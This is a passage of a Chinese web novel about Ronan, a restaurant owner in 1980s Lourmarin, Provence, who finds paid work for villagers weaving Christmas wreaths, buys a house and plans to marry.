马上跑出去了五六个健壮的大小伙子,他们甚至连一句‘为什么’都没问。 不到二十分钟,餐厅门口围了一层又一层的人。 为什么在门口? 那是因为人太多,餐厅装不下。 见人来的差不多,罗南给大伙介绍布鲁诺: “这是国家森林局的布鲁诺,来吕贝隆做矮木丛清理工作,目的是为了提升森林安全等级,保障大家的安全。” 农夫们七嘴八舌的对布鲁诺一阵感谢,握手和拍肩膀已经不足以表达欢迎,他们把布鲁诺抱起来往空中抛了好几下,见他快吐了才把人放下来。 这阵势把布鲁诺完全搞懵了 这些人怎么这么热情啊? 他之前用的那帮人一个个跟木头桩子似的,马赛和吕贝隆不过隔了一百多公里,居民的性格差异就那么大吗? 罗南示意大家安静一下: “布鲁诺想找一些帮手,可以和森林局签短期工作合同,我帮你们问过了,待遇不错,具体要求让布鲁诺说吧。” 布鲁诺清了清嗓子,刚要说两句就被十几个大汉热情的围住,努力推销自己。 “大家不要挤,不要挤!我要先进行一下‘面试’!”布鲁诺在夹缝中看到罗南进餐厅,大声的求助,“你来帮帮我啊!” 别走! 我一人应付不来!! 罗南脚下没停,云淡风轻对人群里的一个人说: “亨利,你帮布鲁诺维持一下秩序,等一会餐厅里没客人了,就把兄弟们都带进来,外面冷。” “好的罗南先生!”布鲁诺听到一道洪亮的声音。 随后,一个长相凶残的人开始帮助布鲁诺维持秩序: “别挤,好好排队!” 布鲁诺回头,早已不见了罗南的踪影。 他居然真的没来排队? 这人到底是什么来头啊居然所有人都听他的? 那之后的几天,卢尔马兰街道上随处都能见到穿着制服的村民。 他们雄赳赳气昂昂的走在路上,只要遇到人就会期待的看过去,希望对方能主动问一句: “你们从哪里弄来的制服啊?” 皮雷从他家的院子里出来,拉住康奈尔问。 傍晚之后,这是从他家门口路过的第十几个穿制服的人了。 起初皮雷以为是政府的什么部门来卢尔马兰视察工作了,但某一次他抬眼一看,好家伙,那不是亨利吗! 亨利都能穿上制服了? 后来每过一个人穿制服的人,他就抬头看一次,发现全部是村里的熟人。 卢尔马兰是发生什么大事啦? 康奈尔得意的整理了一下自己的帽子: “这是罗南帮我们找的兼职,给国家森林管理局帮忙。” “兼职?”皮雷嘴巴张的老大,可以看清口腔深处颤抖的小舌头。 “对,能干一两个月。”康奈尔笑着说。 皮雷轻笑着说: “我当是什么呢,就干一两个月,那你们这兼职也不怎么样啊,你还不如跟你妈妈一起缝绣被,那是一个一年365天都可以干的兼职不比你这份兼职好多了?” 皮雷是卢尔马兰的绣被‘中枢’,全卢尔马兰的女人缝的都是他的单子。 越多人缝绣被他越开心,这样他赚的就多了。 康奈尔指着自己左胸衣服上的标志问: “缝绣被有制服吗?” 皮雷皮笑肉不笑的说: “但绣被是卢尔马兰的传统,你不如回家问问你的妈妈阿克尼娜,她是靠什么把你养大的。” 康奈尔调皮的对皮雷做了一个鬼脸: “老皮雷,睁开眼睛看看这世界吧,现在的卢尔马兰已经不一样了。” “我打死你个小兔崽子!”皮雷作势要打他。 康奈尔一溜烟跑出去老远: “我可没时间和你斗嘴,今天我要去罗南那吃点好的!” 不少农夫习惯在农闲时找兼职,但都是送货、开车和一些体力劳动,不稳定赚的也不多。 但这份国家森林局的临时工作着实让他们涨脸了! 睡觉都不舍得把制服脱了。 每天下班根本在家里呆不住,就想穿着它出去转转.那心情跟买了新衣服的孩子一模一样。 但他们也没地方去啊,遛来遛去最终还是去罗南的餐厅喝酒。 以前在紧紧巴巴的日子里挤出喝酒的钱已经不容易了,现在每个月多了一份收入,经济条件多少宽裕了一点。 而且这是罗南给他们介绍的工作,大家既开心又感激。 现在四五个人坐一桌也可以点两道下酒菜,不是干喝酒了。 “咱这餐厅都快成林业局食堂了。”冯珍啧啧称奇的和罗南说。 一到晚上,全是穿制服的人来吃饭。 “那还不好吗?都是来送钱的.”罗南美滋滋的在银台数钱。 随着西北风的离开和纵火犯的被捕,外村人也开始来吃饭了,餐厅的客流量逐渐恢复了正常。 虽然室外区域彻底关闭,但本地村民的捧场又把这部分弥补回来了一些.这两天的营业额已经快逼近2万,餐厅彻底活过来了! “是不是凑够了啊?”冯珍在计算器上狂点了几下。 她指的是买房子的钱。 罗南一直算着数呢: “够了,但还是等一阵再去买吧,人流量好不容起来,先稳定稳定,万一有什么突发情况,别手里一点应急的钱都没有。” 冯珍点头: “你说的对,那就再稳稳。” 母子俩正说着话呢,电话响了。 冯珍接起来后马上递给了罗南: “卡福,找你的。” 罗南把话筒夹住: “我的朋友,卖的怎么样了?” 突然,罗南大惊失色的‘啊’了一声,吓得冯珍紧张的看过去。 这才刚过了两天安生日子,不会又出事了吧? 罗南一连‘啊’了好几声: “你认真的?真要订1000个花环??” 财务马上开始计算金额。 120法郎乘以1000冯珍险些惊呼出口。 这是十二万法郎呐! 这次绝对够买房子的钱了! 俗话说得好,大难不死必有后福。 餐厅不止活了下来,罗南还开拓出了新的赛道! “11月怎么不好啊?11月可太好了,我爱11月!”冯珍兴奋的小声嘟囔。 第252章 罗南是名副其实的妇女之友! 冯珍是憋不住话的性格,不等罗南挂电话就她跑去后厨告诉罗天海这个好消息去了。 他们真是生了个厉害的儿子! 得让老罗和她一起骄傲!! 但拿着听筒的罗南此刻脸上的表情并不算轻松,似乎还有一点严肃。 卡福在电话里告诉罗南,他设计的葡萄藤花环不止被有钱的富豪们所喜爱,阿普特建材城的渠道商们也看上了这种新奇的装饰物。 如果不是现在距离圣诞节只有不到一个月,而且考虑到罗南这里的供应能力可能跟不上,卡福一定会订更多的数量。 罗南苦涩的说: “但现在订的这个量,我也有可能供应不上啊。” 餐厅的人流量恢复后,员工们各司其职,哪里还有那么多闲人编花环啊? 电话那边的卡福紧张的说: “多了我不要,但这1000个你必须在12月15号之前做出来,这些全部被订出去了,这是咱们的东西第一次推向市场.绝对不能影响名声啊。” 罗南扶住额头: “时间太紧了。” 上一次的150个花环是十几个员工一周做出来的,但前面学习和处理藤蔓还用了好几天。 也就是说,这次罗南要动员至少大几十,甚至上百人来做这件事。 找人还是只是第一步,第二步是教. 巴蒂就算是有三头六臂也教不过来。 全是问题。 你真是不顾我的死活啊伙计! 卡福用鼓励的语气说: “你一定可以的,我过两天就去给你送钱!现金!!” 冯珍的嘴太快了。 罗南还没有去找员工们,她们就先一步得知了这个消息。 下班后,她们把罗南团团围住,叽叽喳喳的问这次又要多少量。 “你们哪里还有时间做?”罗南皱着眉头问她们。 伊莎贝尔兴奋的说: “回家做啊,我现在做花环可快了,一晚上至少能做2、3个。” 可能是由于前几天刚刚接触过布鲁诺,罗南脑海里马上出现了他被执法办约谈,控诉胁迫员工超时工作的画面。 同时罗南脑海中又蹦出一个想法。 让员工们当工作回家干肯定是不合法的,他没有勇气赌自己运气好能逃过巨额的罚款。 但可以作为‘兼职’做啊。 卢尔马兰的女人们一向有做手艺活贴补家用的习惯,只要给钱不就行了? 罗南快速计算了一下运输成本和购买装饰物的成本。 本想再参考一下缝绣被的收入,但是想到现在时间紧急,而且让卢尔马兰富裕起来反哺餐厅是罗南一直以来的目的,所以就不考虑那8天才能赚300法郎的破绣被了! 他试探性问这些员工: “明天我去买装饰物,愿意做的可以拿走下班回家做,我以每个50法郎的价格收你们愿意吗?” 给她们50法郎,罗南的利润在25%左右。 120法郎的花环他能赚30法郎,和卢尔马兰绣被‘中枢’皮雷的抽成比例是一样的也不能算是黑心商人。 此话一出,餐厅里热闹的像是白天客满时一样。 “我可以叫我母亲和姐姐一起做吗?” “做一百个你也收吗?!” “上帝,罗南你真的是大好人!!” 罗南大声对这些员工说: “收收收,全都收,有多少收多少。” 我就怕你们做的不够多啊! 晚上卡福的电话打乱了罗南的计划,他本打算早些离开去找佐伊的。 餐厅关门后,他和莉亚一起回家。 路上,莉亚见罗南明显在想事情,主动问道: “在想花环订单的事情?” 罗南‘嗯’了一声: “这次时间太紧了,不知道员工们能动员来多少人,如果明天来拿材料的人少我要找人去挨家挨户的问一问了。” 20个员工即使把妈妈,姐姐和妹妹全都动员起来也不够。 莉亚笑着摇头: “你完全不用担心这一点。” 罗南侧头: “为什么?” 莉亚看着远处的灯光说: “你知道吗,其实你这周能动员起来那么多农夫去工作让我非常意外,路易也很意外.那天我回家和他说农夫们抢着报名的样子他都不相信。” 罗南没明白他们不相信什么: “意外来了那么多人?” 莉亚摇头: “不是,是意外他们居然愿意放弃可以舒舒服服躺在家里喝酒的日子,出去工作、出去赚钱。” 她看着罗南说: “特奥是最懒农夫,但他不是唯一懒的农夫,以前他们宁愿看着老婆女儿点着蜡烛缝绣被,都不想在冬天出去干点什么赚钱。” 罗南吃惊的说不出话来。 这和他看到的农夫和卢尔马兰不太一样啊。 “一切的变化都是从你到来开始的。”莉亚主动给罗南解惑,“大家终于知道.原来日子还可以活成那个样子吗?原来钱那么重要吗?” 莉亚现在看罗南像看自己的儿子一样,温柔的说: “所以当现在有赚钱的机会摆在面前时,所有人都会去用力抓紧,你不用担心,明天一定会有许多人来餐厅拿材料。” 罗南叹气: “希望吧。” “不是希望,而是一定。”莉亚语气坚定的说,“我明天回家也要开始编花环了。” “真的假的?”罗南吃惊的问。 上一次编花环莉亚并没有参加。 莉亚笑着耸肩: “当然,有钱为什么不赚?谁会嫌自己的日子不够好吗?” 她开心的挎住罗南的胳膊,走向前方点着明亮灯光的家: “而且我们一定会编得又快又好,让你按时交上去,你不懂我们这种住在吕贝隆的家庭妇女有多么珍惜赚钱的机会男人一辈子有许许多多的选择和出路,但摆在女人面前的机会错过一个可能就是一辈子。” 莉亚的话一语中的。 第二天餐厅一开门就陆续来了很多等着拿装饰材料的家庭妇女,不只是员工家属,还有其他许多听到消息的人。 她们一边紧张的等待,一边一遍又一遍的确认,是不是做一个花环真的能给50法郎这么多。 是不是她们听错了? 莉亚和冯珍不停安慰她们,说你们没有听错,但并没有起到太大的作用。 这些卢尔马兰的妇女这一整年听到过太多次关于罗南的‘故事’,她们只信罗南,只有罗南说的话她们才会相信。 冯珍和莉亚面面相觑,同时哭笑不得。 罗南居然不知不觉中成了卢尔马兰最重要的存在,连不怎么出家门的家庭妇女都拿他当‘主心骨’了。 去阿普特买花环装饰的罗南回到餐厅,看到里面站了这么多人以为出了什么事。 但看清来的全是妇女后,终于明白了昨天莉亚话里的意思——‘你不懂我们这种住在吕贝隆的家庭妇女有多么珍惜赚钱的机会’。 是啊,8天才能赚300法郎的绣被她们都缝了一辈子。 50法郎一个的花环可能是她们一辈子都想象不到的钱。 看着这些妈妈辈、奶奶辈的人期盼又激动的眼神,罗南发誓,他必须帮助布兰科早日让卢尔马兰富裕起来。 这里的人真的太穷了。 罗南的声音不大,语气也没有什么起伏,他用最诚恳的态度,说出了最重的承诺: “大家请相信我,这次的花环真的是50法郎一个,只要总数在1000以内,你们做多少我收多少,我希望这只是一个开始,未来我会努力给大家带来更多的订单,带大家赚更多的钱。” 人群外突然响起一道孤零零的掌声。 巴蒂把手掌放在头顶,用力的拍打起来,情绪激动。 在他的带领下,餐厅里的几个艺术家起立鼓掌。 “罗南,你不仅是一位优秀的艺术家,同时也是一位伟大的民权活动家!” “你太伟大了!”巴蒂发自内心的开心,“即使你抢了我‘妇女之友’的称号我也不生气,伙计,你真的太酷了。” 罗南现在是名副其实的‘妇女之友’。 粉红酒是女人爱喝的,这次做手工编织的也全是女人。 罗南现在不仅可以做到对农夫们一呼百应,也可以做到对卢尔马兰的家庭妇女一呼百应! 和巴蒂接触时间长了,罗南发现他并不是‘好色’,因为他对每一个年龄段的女性都很有好感。 即使安排他和十几个八十岁的老太太一起工作,他也能激情满满的。 真是个很神奇的人。 “又要辛苦你了。”罗南有些不忍心的说。 虽然又全部是女人,但这次的基数太大了。 员工们白天要工作,不到万不得已罗南也不想在这件事上浪费时间,因为他少进山一趟就是好几千,那都是钱.所以教人的重任又落到了巴蒂的身上。 巴蒂严肃的说: “我不累,而且我也愿意干这件事,只是担心时间不够.愿意做的人的确多,但是不教她们不能开始做,全部教会要耗费很多时间。” 罗南摸着下巴问: “需要多少时间?” 还是那句话,做花环并不难,处理藤蔓需要一定时间和技术,难点在这里。 巴蒂认真评估: “教会全部人处理藤蔓、再监督她们做一两个花环,至少需要一周时间。” 罗南突然眼前一亮: “那再加个人,时间是不是能缩减一半?” 巴蒂看向罗南的员工们: “你要让她们其中的一个人和我一起教吗?可以是可以,但是她们掌握的也不是很牢固啊。” 罗南的这几个员工里最多的一个做过10几个花环。 距离能教人的水平差太多了。 罗南站起来向外走: “不是她们,卢尔马兰还有一个会编织的人。” 怎么把她忘了啊! 第253章 卸下包袱,享受生活! 装修餐厅时,罗南去阿普特进了许多藤蔓。 编完藤椅和装饰物还剩了一部分,嫌堆放在餐厅里占地方,而且一时半会也不会再用,罗南让亨利拿回家给了他的妻子约瑟芬。 再一次来到亨利家,这里还是老样子,不过家中各个角落里出现了许多藤制的小篮子、小框和小箱子,罗南甚至还发现了两把用藤蔓编织成的小凳子。 “我没教过你编凳子吧?”罗南坐在藤蔓制成的小凳子上,惊讶的问约瑟芬。 帮罗南制作藤椅后,约瑟芬去餐厅跟罗南学了好一阵子编织工艺,罗南在那段时间做的灯、饰物和杯垫等等约瑟芬都会做。 可罗南不记得他教过约瑟芬做小凳子。 白天亨利去森林里上班了,家里只有约瑟芬和丽莎两个人。 虽然家里的男主人不在,但罗南同样得到了热情的欢迎和接待,丽莎还给罗南倒了一杯粉红酒,她说这是亨利特意为罗南准备的。 约瑟芬抱着膝盖上的绣被说: “没教过,是我自己研究的,家里缺几个可以干活坐的小椅子,我看藤蔓多,就尝试着做了两个没想到做成功了。” 从接触编织手艺开始,约瑟芬就展示出了不俗的表现,罗南同时教的亨利一家三口人,约瑟芬学习的速度是丈夫和女儿的好几倍快,这大概就是所谓的天赋吧。 罗南没有过多寒暄,直接表明了这次的来意: “我最近要做一批葡萄藤花环,需要动员村里许多妇女一起,你愿意帮我去教一教她们吗?” 约瑟芬脸上的笑容瞬间消失,局促不安的说: “我哪里会教人啊罗南先生,我什么都不会。” 罗南安慰道: “花环做起来很简单,把它们编织成环状加一些装饰物就行了,需要教的是如何挑选和处理藤蔓,我记得你做的非常好,我做灯和饰品的时候,许多藤蔓都是你帮我处理的。” 从挑选到制作,约瑟芬跟在罗南身边学了近一个月,有的时候见罗南一个人处理藤蔓太慢,她们母女俩就一起帮忙,约瑟芬的水平和熟练度可比餐厅里那些员工高多了。 而且罗南让亨利拿回家的大部分是没有处理过的藤蔓,现在摆在家里这么多成品,说明约瑟芬自己独立制作过。 怎么能说不会呢? 约瑟芬不停用她粗糙的大手在泛白的旧衣服上摩擦,脑袋摇的跟拨浪鼓一样: “我不会,我真的不会。” 约瑟芬的反应让罗南看到了2个月前的莉亚她们的第一反应都是逃避和自我怀疑。 但在她们不自信的外表下,同时还有一颗渴望被肯定的心。 她们只是需要鼓励.大量的鼓励。 “去我的餐厅看看吗,约瑟芬?”罗南微笑着说,“即使不教,你也可以帮我做啊,50法郎一个呢。” 罗南把约瑟芬母女带到了他的餐厅,并把她们介绍给巴蒂认识。 “巴蒂,约瑟芬以前跟我学过一阵子,应该有一点底子。” 之后罗南用非常轻柔的语气对约瑟芬说: “巴蒂是我请来教大家编织的老师,约瑟芬,你给他做几个你会的东西吧。” 单纯的约瑟芬听话的把罗南教给她的平编、绞编和盘扣等技巧一一展示了起来。 巴蒂越看越兴奋,夸张的抱住脑袋不停惊呼。 “上帝!上帝!!你居然会这么多种编织方法?你的手是我见过最巧的女人!” “这是我见过最干净利索的‘挑二压二’,美丽的约瑟芬你的双手一定是被仙子施展过魔法吧?” “什么,你居然还自己研究出了制作板凳的方法?你真的是我见过最聪明的人!” 罗南始终坚持——专业的事要找专业的人。 巴蒂一定是上天给罗南安排的‘天使’。 他真的太适合和这些缺乏信心的家庭主妇一起工作了。 巴蒂的鼓励不仅让约瑟芬一点点建立起了自信,也把四周等待上课的妇女们吸引来了。 因农夫们嘲笑亨利,罗南教约瑟芬编织的事在小小的卢尔马兰流传许久.原来50法郎一个的花环要运用的就是编织手艺吗? “这就是编织?” “该死的奥森还嘲笑你学了一个没有用的东西,这简直太有用了!” “约瑟芬阿姨,你可以教教我吗?” “丽莎丽莎,你会不会?你快教教我们呗!” 约瑟芬红着脸,生涩但又抑制不住激动的说: “我我可以试着教教你们。” 罗南慢慢退出热闹的人群,他相信这些妇女的心态一定会慢慢转变的。 不止是莉亚和约瑟芬,而是每一个人。 第二天,卡福拿着厚厚一沓500法郎面额的现金来到卢尔马兰。 在吕贝隆,大家更愿意用现金结算.这样可以绕开那该死的税费。 “你不用一次性把钱全给我,先给订金就行了。”12万法郎不是一个小数目,尤其是现金,罗南有些担心卡福的口袋。 大块头卡福开心的说: “你知道这批花环有多受欢迎吗我的朋友!那些大老板和渠道商拿着全款现金追着我,生怕我把货卖给别人你还是‘想明白’的太晚了,如果你早找我一两月,咱们一定会发一笔大财!” 罗南无奈的摇了摇头。 如果没有那场西北风和纵火犯,他绝对不会考虑让员工们再去干点别的。 有今天这个局面也算是‘歪打正着’了。 不过这件事同时证明了——人不能闲下来,要多琢磨,多思考。 在普罗旺斯,还有太多太多‘有趣’的事情等待罗南去发现。 “除了花环,编织灯和饰品有人感兴趣吗?”罗南没有被喜悦冲昏头脑。 圣诞节过去,花环就没那么好卖了,而且一年中也只有这个节日可以卖花环。 卡福用安慰的口吻说: “目前还没有什么反馈,现在这个时间肯定是主推花环产品,不过花环卖的这么好,相信其他产品也不会差的。” 罗南点点头: “好吧.那我等你的好消息” 卡福用力捶了一下桌子: “请相信我,我一定会让编织工艺火遍普罗旺斯!” 这一批花环让罗南又多了3万多法郎的收入。 有了这笔钱做应急基金,罗南终于可以拿着冯珍帮他存的7万法郎、餐厅11月的3万法郎利润、11月卖松露的9万法郎、几个月集市存出来的1万法郎和父母支援的6万法郎.艰难的去政府买房子了。 布兰科见到罗南来激活购买条款,如释重负的说: “还好你在11月的最后一天做下了决定,如果房价又涨了一些后你再来.我都会替你心疼!” 在布兰科,不,应该是在卢尔马兰全部村民的观念中,罗南买下商业街的房子是一件轻轻松松的事。 他不过是在考虑有没有必要买下这里而已。 只有罗南清楚,这个房子买的有多么的‘艰辛’,用东拼西凑来形容一点都没有问题。 工作人员准备各种文件的时候,罗南长长的叹了一口气。 “又没钱了啊。” 一切似乎又回到了他初到普罗旺斯的那一刻。 不过那个时候,他口袋里还有大几千法郎.现在只有大几百了。 罗南的低落情绪只持续了很短的时间,当他拿着签好字的购房合同走出政府大楼时,笑得像是个22岁的孩子。 买房这件大事他一年中体会了两次。 下一步就是人生中的另一件大事——结婚! 罗南的餐厅里。 佐伊正在听艺术家们讲述前几天罗南的‘平权运动’。 在这些多才多艺的艺术家口中,罗南的形象都高大了几分,像是卢尔马兰的‘守护神’一样神圣。 佐伊并不像其他普罗旺斯人那样喜欢夸大其词,她是个很谦虚的人.不过今天她‘普罗旺斯’了一次: “罗南身上的好远不止这一点,他是我见过最优秀的人,如果让我说罗南身上的优点,我一时间真说不上来.因为太多太多了。” 女作家宝莱特语气激昂的说: “我下一部作品要写一个穷小子一步一步成长,带领全村人民脱离贫困,走向新一页的故事!” 罗南笑着出现在佐伊身后: “宝莱特,你别写恐怖了,我发现你的灵感和恐怖元素没有一点关系。” 宝莱特举杯敬罗南: “你说的没错,所以我停止了连载现在这部作品,也许正是因为我走入了一条不属于自己的赛道才籍籍无名,感谢你的所作所为让我认清了自己,我搬来卢尔马兰太有意义了。” 佐伊知道罗南上午去做什么了,回头拉着他的胳膊问: “办完事了?” 罗南拍了拍厚厚的牛皮纸袋子: “我办事你放心。” 佐伊把罗南拉到自己的身边坐下: “你的任务已经完成了,后面交给我吧。” 结婚不是一个人的事,小情侣这段时间经常聊这个话题。 佐伊提出过要和罗南一起买房子,被罗南拒绝了,因为这里未来有可能是他父母住的。 于是阔绰的佐伊女士坚持买完房子之后的所有花费都由她来支付。 这一次佐伊一点和罗南纠缠的意思都没有: “卢尔马兰的女人有能力靠自己的双手改变生活和命运,也有能力给丈夫和孩子带来幸福,罗南你的‘平权运动’不会只是装装样子吧?” “你又开始了”罗南最怕佐伊和他讲大道理了。 什么平权不平权的.我教卢尔马兰的妇女编织,就是让你用来堵我嘴的吗? 不过下一秒佐伊幸福的扑进罗南的怀里: “等我忙完明年2月的‘大地艺术’活动,松露采摘季也结束了.我们自己装修好不好?我想要一点点‘搭建’好我们的家。” “好。”罗南幸福的说。 “你要帮我设计一个大大的浴室,有浴缸的那种!” “没问题。” “再设计一个阳光房可以吗?我想在冬天也能一边喝茶一边看星星。” “可以。” “卧室再刷成淡淡的绿色,科学家说,醒来看到绿色一天都能有好心情。” 罗南在佐伊脸上轻轻一吻,笑容灿烂的说: “都听你的!” 人逢喜事精神爽。 罗南和佐伊今天开心,酒喝的也快。 在去拿酒的路上,罗南碰到了康奈尔嫁到外村的姐姐。 她最近也回‘娘家’一起编花环,见罗南白天在餐厅出现,好奇的问: “今天没去挖松露吗?” 罗南笑着和她打招呼: “对,休息两天。” 11月过得太跌宕起伏了,先是松露价格大跳水,后来餐厅又没有了客人心情起起落落的。 又因为要尽快买房子,心里始终提着一口气。 现在房子买了,罗南也不缺赚钱的途径和本事,未来再次变得一片光明。 他决定12月要过的轻松一点,好好享受一下生活。 冬季的普罗旺斯也有许多新鲜的事物等待他去体会呢! 第254章 ‘陌生\’的亨利 如果要问卢尔马兰村民近期最幸福的人是谁。 连即将进入人生新篇章的罗南都不敢说是自己。 因为在卢尔马兰人的眼中,出现了另一个靠双手和努力改变命运的家庭。 而且这个例子就在他们的身边.比罗南还要近。 约瑟芬展现出了恐怖的编织天赋。 在其他妇女还在学习哪根葡萄藤能用的时候,约瑟芬就可以一边手把手的教她们,一边处理完了亨利农田里的好几亩葡萄藤。 当这帮妇女们终于听明白了,开始处理藤蔓的时候,约瑟芬可以一天做5个花环了。 而当她们处理完藤蔓,终于可以开始赚钱时恐怖的约瑟芬一天已经可以做7个花环了。 连跟着大家一起做花环赚钱的巴蒂都惊讶的合不上嘴。 约瑟芬的速度几乎和他差不多了。 卢尔马兰的编织怪物这么多吗? 小怪物罗南已经够恐怖了,新出现的老怪物简直就是个编织花环的机器啊! 约瑟芬的例子狠狠激励了村里的妇女们。 罗南本以为这1000个花环订单会压着时间线完成,但看了几天情况后,他觉得10号之前就能做的七七八八,可以给卡福送货了。 亨利这老小子腰板更硬了。 穿上制服时他就得瑟了好几天,主动去挑衅那些之前看不起或者对他冷嘲热讽的人,妻子约瑟芬这么厉害.他开心的都不知道怎么得瑟好了。 天天把‘你们不是说我是跟在罗南身后摇尾巴的狗吗?没错!我就摇了,有本事你们也摇啊!一群愚蠢的家伙!’挂在嘴边。 有罗南撑腰,约瑟芬也帮助过村里的许多妇女,现在这帮人被亨利‘怼’也不敢回嘴了。 “该死的,真让亨利赚到钱了。”特奥知道自己是亨利的重点‘关照’目标,最近都要躲着他走。 罗南的餐厅都不敢去了,一下班就躲到科莫的老酒馆里不敢冒头。 今天法比安陪特奥一起来的老酒馆,他笑着说: “真没想到,你也有害怕的时候?” 特奥叼着烟,轻描淡写的说: “我害怕什么啊?我能怕他那个烂了牙的家伙?我是怕罗南为难,万一我和亨利动起手来,罗南肯定要帮我,到时候他替我教训亨利,约瑟芬不帮忙教人了怎么办?我得为我的兄弟着想啊。” 法比安不停摇头,心想特奥的嘴还是这么硬啊。 特奥喝了一口酒,想到什么问法比安: “你今天怎么能出来了?你老婆不是逼着你好好存钱修房子,不让你出来喝酒了吗?” 法比安头摇的幅度更大了: “吃完饭我不小心踩坏了她几根藤蔓,她把我轰出来,让我不到8点半不要回去,说我在家里耽误她赚钱了” “这么夸张?不就是几根葡萄藤吗,都让你无家可归了?”特奥啧啧称奇的说。 特奥没有去了解编花环的事,也没有让他老婆去编花环。 都多一份兼职收入了,家里哪里用得着女人去赚钱? 给我老实在家好好看孩子! “什么?你踩坏了几根藤蔓?”吧台后方,老酒馆的老板科莫‘蹭’的一下站起来,挥舞着手里花环,生气的说,“那是至少50法郎啊,法比安你太过分了!” 特奥和法比安一副见鬼了的表情: “你怎么也在编花环?” 科莫重新坐回吧台后面,阴阳怪气的说: “你们都不来我这喝酒了,我不得找点其他的事情赚钱?难道要活活饿死吗?” 不过他的语气很快欢快起来: “不过编花环真赚钱啊,我今天能赚150法郎!这都快比开酒馆还赚钱了,希望罗南以后能多拿到些订单。” “什么?你一天都能靠编花环赚150法郎?”法比安和特奥两个大脑袋探到吧台后,死死地盯着科莫手里的藤蔓看。 在卢尔马兰,男人干手工活会被笑话的。 但如果一天能赚150法郎的话额,也许可以偷偷干? 科莫沮丧的说: “我还算手笨的呢。” 法比安立即把杯子里的酒干了,起身道: “不行,我要回去道歉,犯了错误就这样摔门而出太不应该了。” 法比安走后,特奥低头想了一会,突然也把酒喝了。 他用手指叩了几下吧台,对科莫说: “我也走了,安娜该睡了。” 科莫瞥了一眼墙上的时钟,冷哼一声: “不到7点就睡?” 随即他加快了手上的动作。 客人都走了,我更要多编几个花环了!! 第二天早上,罗南刚吃完早饭打算去遛狗,听到电话突兀的响了起来。 现在才7点不到,谁会这么早打来电话呢? “喂?”罗南拿起电话。 电话另一边传出的声音大到罗南差点把听筒扔了: “罗南先生?您今天没有出去采松露吗?” 只有亨利一家三口才会叫罗南‘先生’。 罗南揉了揉耳朵,想提醒亨利离话筒远点,也不用那么大声喊,但他突然意识到一个问题——亨利家没有通电话啊。 “你家装电话了?”罗南笑着问。 听筒里传出几声‘爆鸣’,罗南猜亨利一定是把话筒紧紧的贴在了嘴边。 “是的!昨天装的!有了电话真方便啊!”亨利哈哈笑了几声,突然他的语气又期待了起来,“罗南先生,您今天没出去采松露吗?” 罗南用轻松的语气说: “连去了三天,今天休息一天,怎么?你有事吗?” 亨利一连问了他两次今天去不去采松露。 想来一定是有事了。 尤其在这么早的时间打来。 亨利的语气更加期待了: “太棒了,今天也是我休息的日子,我打算去买一些海鲜,中午我去给您送一些。” 罗南拉着电话线说: “不用,你留着自己吃吧,约瑟芬和丽莎最近都辛苦了。” 亨利一家最近确实赚到钱了,但他家底子也差啊那房子都破到漏风了。 罗南不想让亨利在自己身上浪费钱。 亨利马上严肃下来,用向长官汇报一样的语气说: “不行,我的工作是您给的,约瑟芬和丽莎的工作也是您给的,我必须给您送些东西。” 他不给罗南说话的机会,继续倔强的说: “中午我送去您的餐厅,好了不说了,我要出发了!” 见对面没了声音,罗南准备挂电话,但那边又传来一声洪亮的: “再见罗南先生!” 罗南笑着摇了摇头。 亨利明明没有表明上看起来那么‘凶’,有的时候也挺可爱的。 上午10点多,穿着制服的亨利拿着一个黑色的大袋子出现在罗南的餐厅。 这身制服像是夏季亨利头上的那个船长帽一样,每天都不离身,即使不上班的日子也会穿着。 他一见到罗南就抱怨: “该死的,博尼约的集市居然只有两个海鲜摊位,以往这个月份到处都是卖海鲜的摊主,我挑了一些新鲜的牡蛎,周末我去梅纳村看看,再给您带些其他海鲜。” 普罗旺斯紧邻地中海,但因为1986年冷链技术还不成熟,到了冬季才是非沿海城市吃海鲜的高峰时间。 一到冬季,各个集市上就会出现大量卖海鲜的商人。 罗南接下袋子,对亨利说: “梅纳村集市我周周去,还用你给我带东西?” 亨利梗着脖子说: “那不一样,您不一定会挑普罗旺斯的海鲜,会被骗的!” 罗南指着后厨,笑着说: “亨利.我家是干什么的?” 亨利嘴长长合合半天,语无伦次的说: “约瑟芬约瑟芬说必须感谢你!否则,否则——” 亨利说不出口太过矫情的话,即使推到妻子的身上他也说不出口。 罗南搂住亨利的肩膀,让他别激动。 亨利想说的话罗南都懂。 但那是他们一家努力劳动的成果,他们最该感谢的是他们自己。 为了缓解气氛,罗南换了个话题问亨利: “好了,有电话的感觉怎么样?你之前一直说要给家里安装一个电话,现在终于实现了。” 卢尔马兰的电话安装率在60%左右。 亨利以前是村里最贫困的一部分人,但现在他已经超过了那40%的村民,而且这变化就在一周之间。 难怪他现在是村里公认的最幸福的人。 一提电话亨利马上笑了,龇着牙说: “约瑟芬给电话做了一个小藤制箱子,那是我们家最值钱的东西,对了罗南先生,我家的电话第一次使用就是打给您的!这太棒了!” 罗南捏了捏亨利的肩膀: “到饭点了,留下吃饭吗?” 亨利剧烈的摇头,嘴咧的弧度更大了: “不了,我回去和约瑟芬、丽莎吃海鲜,她们应该已经快把饭做好了,我走了罗南先生!” 罗天海在忙,罗南把牡蛎拿到后厨莉亚她们几个女士那里: “亨利给的。” 莉娅不停砸嘴: “这太神奇了,别看亨利以前总跟在皮埃尔和卢卡斯身后,看起来挺听话,其实他一直是谁都不服的性格,所以在村里的口碑那么差,说他‘口是心非’.没想到现在让罗南给‘驯服’了。” 亨利现在是罗南的‘左膀右臂’,而且大家能看出他是真心的听罗南话,不是阳奉阴违。 妮可拉过来看热闹: “亨利那个‘铁公鸡’居然拔毛了?上帝,这么多!还是最大号的牡蛎啊,这种可贵了!” 这真是亨利给的? 亨利一直是吝啬和尖酸刻薄的代名词啊。 弗洛西的丈夫弗雷迪是个‘美食专家’,耳濡目染让她知道更多普罗旺斯美食的知识: “这么大的牡蛎不是马赛港养殖的,是布济格的牡蛎,这个品质的要45-60法郎一打呢,这里有至少三打吧?” 他们齐刷刷的看向罗南。 似乎在琢磨罗南拥有什么魔力,能把一个人的性格完全改变。 罗南低头看着那些大牡蛎: “也许是因为村里没人真心对亨利好过吧” 他突然抬头对妮可拉她们几个说: “这么多咱们几个也吃不完,晚上把人叫来聚会吧?” “好!”莉亚兴奋的拍了下手,看着妮可拉和弗洛西说,“吃了这么多次中式海鲜,今晚咱们做一次传统的普罗旺式海鲜大餐怎么样?” 弗洛西马上去前台打电话: “我打电话让弗雷迪带食材来!” 妮可拉眉飞色舞的提醒罗南: “我劝你一会午饭少吃点,否则到了晚上一定会后悔的。” 第255章 普罗旺斯人的胃是无底洞吗? 